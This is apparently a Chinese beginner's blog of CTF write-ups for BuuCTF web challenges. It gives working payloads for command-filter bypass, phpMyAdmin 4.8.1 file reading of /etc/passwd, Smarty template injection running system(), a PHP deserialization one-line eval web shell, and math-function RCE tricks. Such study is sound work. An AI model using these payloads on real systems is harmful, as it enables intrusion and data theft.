BuuCTF做题记录_2

初学者的一些做题记录


[安洵杯 2019]easy_web

进环境发现是这么个东西,URL值得注意:

/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

anxunbei1

右键源码还可以发现一行字:md5 is funny ~(和md5有关?),估计是被藏到图片后面了。

先在kali下用dirsearch扫一下看看有没有其它文件:

dirsearch -u http://55a28404-cd69-4529-9626-2cd4d4f499d1.node4.buuoj.cn:81/ --delay 3 -t 30

没有什么有用的信息。看看源码:

anxunbei3

选中那段字符提示了base64,利用base64转图片工具转换结果就是左上角那张图片。但很明显URL中不是这个东西,应该是将文件名进行了变化。

img参数是大小写字母加数字的组合,猜测是base64,而且随便输个abc再看源码会发现这么个东西:

anxunbei2

直接base64解码:MzUzNTM1MmU3MDZlNjc=,又是一串base64再解码:3535352e706e67。看着像十六进制,解一下:555.png

现在这个参数怎么出来的就清楚了:字符串先经过十六进制,再经过两次base64加密。前面猜测这是个include的参数,因为这个imgcmd参数都是在index.php下的,那就直接看index.php是啥东西(用同样的方法转换):img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) //如果两个参数其中一个没被赋值
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));//img解码

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);//注意^,会正则匹配非大小写字母及数字和点,换成空格
if (preg_match("/flag/i", $file)) {//大小写匹配flag
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));//利用file_get_contents读目标文件内容,并使用base64加密
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {//一开始想的数组绕过即$a[]=1而且$b[]=2,不过他前面有个(string)强制类型转换(string(5) "Array"),只能找碰撞绕过了。
echo `$cmd`;//注意反引号,执行命令的结构直接echo
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

最开始正则匹配\那里没弄明白,一开始觉得|\\|\\\\|这俩东西就会把\这东西给匹配了,去网上搜了wp发现都说直接l\s就能绕过。后面发现自己想错了,|\\|\\\\|这东西并不会匹配到\,需要\\\才行。举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$string = $_GET['b'];
if(preg_match("/\\/i", $string)){

echo ('检测到\\');//一个反斜杠需要另一个反斜杠进行转义,这其实是一个反斜杠
}
else {
echo ('没检测到');

}
?>

这时我们传?b=任何值都会报错:

**Warning**: preg_match(): No ending delimiter '/' found in **D:\phpstudy_pro\WWW\wow.php** on line **4**

电脑没有找到/这个结束定界符。想了下原因,既然\这个东西是转义字符,那么\\只不过是一个转义后的\,这个东西和/组合到一起会去正则匹配/这个东西,这样一来导致缺少尾部界定符。修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$string = $_GET['b'];
if(preg_match("/\\//i", $string)){

echo ('检测到');
}
else {
echo ('没检测到');

}
?>

这时不会报错而且回去正则匹配/,现在思路就清晰了:如果我们想正则匹配\,那么就需要\\\才行:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$string = $_GET['b'];
if(preg_match("/\\\/i", $string)){

echo ('检测到');
}
else {
echo ('没检测到');

}
?>

现在再看看这段正则匹配怎么个事:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$string = $_GET['b'];
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $string)){

echo ('检测到');
}
else {
echo ('没检测到');

}
?>

注意|\\|\\\\|,这东西相当于去匹配|\\\\。因为前两个\\回去转义后面那个分隔符|,再加上\\\\,然后以|收尾:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$string = $_GET['b'];
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $string)){

echo ('检测到');
}
else {
echo ('没检测到');

}
?>

我们只有传?b=|\\\\才会echo检测到,所以我们仍可以利用\进行命令拼接,比如l\sl\s%20/,c\at%20fl\ag等。

在burp中如果使用空格会被识别为其他的参数,所以这里空格用%20替换。

综上,可以进行命令执行,得到flag。

[GWCTF 2019]我有一个数据库

db1

???

用dirsearch扫一下,发现robots.txt还有/phpmyadmin/,看看都有啥:

robots.txt提示phpinfo.php/phpmyadmin/不登录可以直接访问数据库管理界面:

db2

后面就无处下手了。。去网上查了一下wp,这题考的是phpmyadmin4.8.1版本存在任意文件读取漏洞:include $_REQUEST['target'];

直接利用现成的payload:target=db_sql.php%253f/../../../../../../../../etc/passwd,发现可以进行任意文件读取。后面再翻翻flag的位置就行了。

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

flag{14b071f4-a712-4a14-b3ce-d6bc07df4506}

不过我看文章中都写了$_REQUEST['target'],但尝试POST提交拿不到结果。而且在?target前加个/就白屏了。。不过右键看源码还是能看到回显,不知道咋回事。

[MRCTF2020]PYWebsite

进环境发现有这么个东西:

flagpy1

看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;//获取用户的输入
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"//重定向到当前目录下的flag.php
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

看完想了一下,直接去flag.php看看怎么个事:

http://node4.buuoj.cn:25037/flag.php

flagpy2

提示保存了购买者的IP,可以利用XFF伪造。除了购买者和我自己,没有人可以看到flag,直接XFF 127.0.0.1试试?

flagpy3

[ASIS 2019]Unicorn shop

题目提示unicodepython

了解了下unicode

1
2
3
Unicode是一种字符编码标准,用于表示文本中的字符。它为世界上几乎所有的字符都分配了一个唯一的数字标识,这个标识被称为"码点"。Unicode的目标是为全球范围内的所有字符提供一个统一的编码方案,以解决不同国家和地区使用不同字符编码的问题。

Unicode使用十六进制表示每个字符的码点,例如字母"A"的码点是U+0041,汉字"中"的码点是U+4E2D。Unicode定义了超过130,000个码点,其中包括各种语言的字符、标点符号、符号、表情符号等。

us1

试了试购买前三种都提示:

unishop2

买最后一个会显示:Only one char(?) allowed!,意思是这个Price只能填一个字符?源码里面有下面这段提示:

1
2
3
4
5
meta charset="utf-8"><!--Ah,really important,seriously. -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Unicorn shop</title>
<!-- Don't be frustrated by the same view,we've changed the challenge content.-->

去网上找了下wp,和提示的Unicode有关:先把Item IDPrice都放空,看看报错信息:

unishop3

可以发现他用了unicodedata.numeric()函数去处理这个price,这东西会获取 Unicode 字符的数值表示,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import unicodedata
>>> unicodedata.numeric('1')
1.0
>>> unicodedata.numeric('11')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>> unicodedata.numeric('3')
3.0
>>> unicodedata.numeric('33')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>> unicodedata.numeric('𐄣')
2000.0
>>> unicodedata.numeric('万')
10000.0

然后利用这个网站https://www.compart.com/en/unicodenumeric value大于1337的就行

unishop4

直接把目标符号复制粘贴到Price价格里就好了。

补充:这题源码里有段price = urlib.unquote(price).decode('utf-8'),即先把输入url解码后再经过utf-8编码赋值给price,然后用unicodedata.numeric()处理price

所以可以通过先找目标字符的utf-8编码,把它转换成对应的url形式(把0x换成%就行,再去掉空格)

[网鼎杯 2020 朱雀组]Nmap(这题还没做完先放一放)

nmap1

一个端口扫描网站,初步猜测存在RCE或者文件包含。

先看源码里有啥:<!-- flag is in /flag -->

嗯,那应该是要RCE

随便输个127.0.0.1看看怎么个事:

namp2

提供了一些端口信息,这个URL值得注意:

/result.php?f=f7909

to index就是返回首页,to list是这么个界面:

nmap3

File那一栏就是result.php底下的f参数,尝试了六次发现文件名应该五六位十六进制的随机数。他这东西的运行过程大概就是扫描目标IP的端口,然后给结果五位十六进制随机数的文件名,存储起来如果想读取利用result.php进行了文件包含。

不过结果中存在一个警告,抓包看看怎么个事:

nmap4

首先,输入IP后会进行302重定向。

如果随便更改f的值呢?会出现下面的报错:

nmap5

simplexml_load_file()会把把XML 文档载入对象中,所以应该是把结果以XML文件的形式存储。

127.0.0.1;ls提示Host maybe down,换成127.0.0.1 ;发现会给;前加一个\进行转义变成127.0.0.1 \;,但如果没有这个空格会直接报错host maybe down

后面捣鼓半天不知道怎么弄了,找了wp发现是自己思路错了,这题考的是Nmap的一些用法。

还没做完先放一放。。一看这两个escape函数我就头疼

[NPUCTF2020]ReadlezPHP

进环境发现是这么个东西,尝试右键看源码没啥反应,直接在URL加view-source:

real1

发现有这么个东西,直接访问:./time.php?source(本来还想拿dirsearch扫来着,看来没必要了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a); //相当于调用了b这个函数而且参数是a,可以通过这个执行命令
}
}
$c = new HelloPhp;

if(isset($_GET['source'])) //若source被赋值,高亮源码并die(0)结束。后面要给data赋值
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);//反序列化GET传的data


2023-11-04 12:27:15



现在思路就清晰了,直接构造我们想执行的命令就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

#error_reporting(0);
class HelloPhp
{
public $a = "system('ls');";
public $b = 'eval';

}
$c = new HelloPhp;

$d = serialize($c);

echo urlencode($d);
?>

不过没有运行?后面换了其它的命令也是没有回显。感觉是被过滤了(可以执行命令的函数有很多),但也想不到其它思路,去看了其它师傅的wp发现要用assert这个函数,正好借这个机会梳理一下RCE中常用的几个命令执行函数,还有他们之间的关系:

我个人认为最常见的肯定是evalsystem,先说下它俩之间最大的差别(个人观点):

eval类型函数是代码执行而不是命令执行

system类型函数是命令执行而不是代码执行,举几个栗子:

1
2
3
4
<?php
eval("echo 1+1;"); //2,注意末尾的分号
system("echo 1+1;"); //1+1;
?>
1
2
3
4
5
6
7
8
9
<?php

$num=1;
eval("\$a = $num;"); //只有这个并无任何回显,可通过echo或var_dump获得回显
system("\$b = $num;");

echo $a; //显示1
echo '</br>';
var_dump($b);//显示NULL
1
2
3
4
<?php
eval("phpinfo();"); //phpinfo()被执行
system("phpinfo()"); //phpinfo()不被执行
?>
1
2
3
4
5
<?php
system("whoami"); //whoami命令被执行
eval("whoami"); //whoami命令不被执行
eval("system(whoami);"); //执行成功,注意和上一条的区别
?>
1
2
3
4
5
6
7
8
9
10
//我们也可以把system和eval组合使用
<?php

$b = 'system("whoami");';// "system('whoami');"; 也行,但注意后面的分号一定不能丢掉

$a = eval($b);

?>

//回显 viper3\rdj

接下来这个echo $b($a)也有点说法,这东西有人叫它变量函数,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$a = "assert";
$b = "eval('phpinfo();')";
@$a($b);

?>
//回显phpinfo的内容,但是:
<?php

$a = "eval";
$b = 'phpinfo();';
@$a($b);

?>
//这东西没有任何结果
<?php

$a = "assert";
$b = "phpinfo();";
@$a($b);
?>
//这段代码也能phpinfo

先说下这个assert函数:

1
`assert()`函数接受一个表达式作为参数,并对该表达式进行求值。如果表达式为真,则继续执行后续代码;如果表达式为假,则触发一个致命错误,终止脚本的执行。但它也可以执行任意的PHP代码,包括执行命令。这是因为`assert()`函数在执行时会将传入的字符串作为PHP代码进行解析和执行。

至于为什么不能只单纯用一个eval,原因是PHP中不能以变量函数的形式去调用它:eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用。

可以上传一个简单的一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class HelloPhp
{
public $a = 'eval($_REQUEST[3]);';//REQUEST方法,传完了用GET、POST、COOKIE都行
public $b = 'assert';

}
$c = new HelloPhp;

$d = serialize($c);

echo urlencode($d);
?>

先用scandir函数看看根目录底下都有啥东西:

time.php?data=O%3A8%3A"HelloPhp"%3A2%3A{s%3A1%3A"a"%3Bs%3A19%3A"eval(%24_REQUEST[3])%3B"%3Bs%3A1%3A"b"%3Bs%3A6%3A"assert"%3B}&3=var_dump(scandir('/'));

注意要用分号结尾!否则不能被执行!用var_dump的原因是这函数会返回数组

scandir2

有个FIag_!S_itsystem被禁了所以用不了cat,尝试file_get_contents直接读,但是假的flag

echo(file_get_contents('/FIag_!S_it'));

注意这个不能写成:

echo("file_get_contents('/FIag_!S_it')");,这个命令会显示file_get_contents('/FIag_!S_it')

scandir5

用蚁剑连接看看怎么个事:

http://1730f221-b91f-4b8b-b19d-8ce0eb0211e5.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A{s%3A1%3A%22a%22%3Bs%3A19%3A%22eval(%24_REQUEST[3])%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B}

scandir4

scandir3

没有任何东西,应该是没权限。

看师傅们的wp都是去phpinfo()找,ctrl+f搜索就行。

payload:time.php?data=O%3A8%3A"HelloPhp"%3A2%3A{s%3A1%3A"a"%3Bs%3A19%3A"eval(%24_REQUEST[3])%3B"%3Bs%3A1%3A"b"%3Bs%3A6%3A"assert"%3B}&3=phpinfo();

再补充下scandir()这个函数:

scandir()函数会接受一个目录路径作为参数,并返回一个数组,包含该目录中的所有文件和子目录的名称。返回的数组中,每个元素表示目录中的一个文件或子目录的名称。

1
2
3
4
5
6
7
8
9
10
11
<?php

$dir = '../WWW';
$files = scandir($dir);

foreach ($files as $file) {
echo $file ;
}

?>
//

结果:

scandir1

[CISCN2019 华东南赛区]Web11

进去发现是个和IP有关的页面,右上角显示了我们的公网IP

web11-1

下面甚至有请求包的完整信息:

web11-2

既然它获取了IP那大概率可以想到XFF伪造,抓包试试看:

web11-3

确实是这样,但有什么用?这题明显不是利用XFF的SQL注入,想到之前做过一道好像叫cookie is so stable的题,通过模板注入解题,试试看:

X-Forwarded-For:{7*7}

还真是,老规矩先判断是什么类型的,再试试:X-Forwarded-For:a{*comment*}b

wweb11-6

应该是Smarty模板,个人认为这个模板最大的特点就是可以直接执行命令,在XFF直接输入:{system('ls /')}去找flag,然后直接cat读就行了。

其实这题底下有行小字提示了:Build With Smarty !

smarty1

[CISCN 2019 初赛]Love Math

看题目可能跟MD5有关?

直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){ //GET传参,c不被定义就高亮源码
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];//后面两个依靠\来转义
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这题花了很长时间没解出来,因为一直在想怎么去绕过黑名单和正则匹配去执行命令,后面看了wp才知道要利用给的函数去做,参考了这位师傅的文章https://www.cnblogs.com/20175211lyz/p/11588219.html

https://www.anquanke.com/post/id/220813#h3-2

思路一

主要是base_convert()函数和dechex函数的使用:

baseconvert

可以看到这东西的范围是2-36,正好覆盖了0-9,a-zdechex函数用于将十进制数转换为十六进制数。它接受一个十进制数作为参数,并返回一个表示相应十六进制数的字符串。

先看wp怎么写的:

1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

payload

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=<command>

因为师傅写的很详细还是很好理解的:先利用base_convert函数转出一个hex2bin,再利用dechex转出一个十六进制字符串,前函后参组合转出_GET.

base_convert遇到36进制时会转换成小写字母,举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

echo base_convert(10,10,36);

?>
//结果:a
<?php

echo base_convert(A,36,10);

?>
//结果:10,转回去并不存在这个问题。

后面就很好理解了,它会直接eval过滤后的c。执行后c=$pi=_GET$$pi=$_GET。再利用$_GET{0}($_GET{1})去执行函数就好。即使[]被过滤了仍可以使用{}绕过。构造完_GET后还需要引入一个变量来作为函数执行, 例如 $a(), 我们用 $pi 以绕过白名单的检测。

思路二

利用getallheaders去解题:

payload:/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})注意这个getallheaders的用法

首先为什么是30进制(参考了bfengj师傅的文章):

1
2
3
4
Warning
由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。

经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。

system(getallheaders(){1}),这个{1}应该是获取包头为1部分的值,我说应该是因为没找到相关文章说这个东西。。大多直接给了payload(估计师傅们觉得这问题没必要说,哈哈)。我自己尝试把1改成别的再改对应包头也能执行命令(我这里改成了333):

lovemath1

[BSidesCF 2019]Kookie

kookie1

让我们以admin的身份登录,然后提示已经有cookie/monster这两个账户了,选cookie这个用户名再随便输个密码登录一下看看:

kookie2

可以看到行为/用户名/密码都是直接以GET方式传过去的(源码也有相应提示),那我们直接把username后面的东西删掉看看能否登录:

/?action=login&username=cookie

这个登不上去,换monster试试:

/?action=login&username=monster

登录成功:

kookie4

抓包看看cookie:

kookie5

发现cookie字段中username=monster,直接改成admin:

kookie6

应该是新生赛的题目


BuuCTF做题记录_2
http://example.com/2023/10/30/BUUCTF做题记录_2/
作者
notbad3
发布于
2023年10月30日
许可协议